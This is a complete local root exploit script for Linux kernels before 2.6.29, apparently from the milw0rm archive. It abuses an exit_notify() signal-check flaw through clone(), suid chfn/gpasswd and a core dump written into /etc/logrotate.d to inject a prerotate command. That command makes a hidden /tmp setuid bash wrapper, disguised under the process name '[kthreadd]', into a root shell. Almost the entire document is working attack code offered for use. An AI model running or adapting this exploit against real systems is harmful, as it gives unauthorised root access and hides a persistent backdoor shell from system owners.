Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation

#!/bin/sh

###################################################################################
# gw-notexit.sh: Linux kernel <2.6.29 exit_notify() local root exploit              
# 
# by Milen Rangelov (gat3way-at-gat3way-dot-eu)
#
# Based on 'exit_notify()' CAP_KILL verification bug found by Oleg Nestorov.
# Basically it allows us to send arbitrary signals to a privileged (suidroot)
# parent process. Due to a bad check, the child process with appropriate exit signal
# already set can first execute a suidroot binary then exit() and thus bypass
# in-kernel privilege checks. We use chfn and gpasswd for that purpose.
#
# !!!!!!!!!!!
# Needs /proc/sys/fs/suid_dumpable set to 1 or 2. The default is 0 
# so you'll be out of luck most of the time. 
# So it is not going to be the script kiddies' new killer shit :-)
# !!!!!!!!!!!
#
# if you invent a better way to escalate privileges by sending arbitrary signals to 
# the parent process, please mail me :) That was the best I could think of today :-(
#
# This one made me nostalgic about the prctl(PR_SET_DUMPABLE,2) madness
#
# Skuchna rabota...
#
####################################################################################




SUIDDUMP=`cat /proc/sys/fs/suid_dumpable`
if [ $SUIDDUMP -lt 1 ]; then echo -e "suid_dumpable=0 - system not vulnerable!\n";exit; fi
if [ -d /etc/logrotate.d ]; then
echo "logrotate installed, that's good!"
else
echo "No logrotate installed, sorry!";exit
fi

echo -e "Compiling the bash setuid() wrapper..."
cat >> /tmp/.m.c << EOF
#include <unistd.h>
#include <sys/types.h>

int main()
{
    setuid(0);
    execl("/bin/bash","[kthreadd]",NULL);
}
EOF

cc /tmp/.m.c -o /tmp/.m
rm /tmp/.m.c

echo -e "Compiling the exploit code..."

cat >> /tmp/exploit.c << EOF
#include <stdio.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>

int child(void *data)
{
    sleep(2);
    printf("I'm gonna kill the suidroot father without having root rights :D\n");
    execl("/usr/bin/gpasswd","%s",NULL);
    exit(0);
}

int main()
{
    int stacksize = 4*getpagesize();
    void *stack, *stacktop;
    stack = malloc(stacksize);
    stacktop = stack + stacksize;
    chdir("/etc/logrotate.d");
    int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
    if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
}
EOF

cc /tmp/exploit.c -o /tmp/.ex
rm /tmp/exploit.c

echo -e "Setting coredump limits and running the exploit...\n"
ulimit -c 10000
touch /tmp/.a
`/tmp/.ex >/dev/null 2>/dev/null`
sleep 5
rm /tmp/.ex

if [ -e /etc/logrotate.d/core ]; then
echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n"
echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root"
echo -e "\nYour terminal is most probably screwed now, sorry for that..."
exit
fi

echo "The system is not vulnerable, sorry :("

# milw0rm.com [2009-04-08]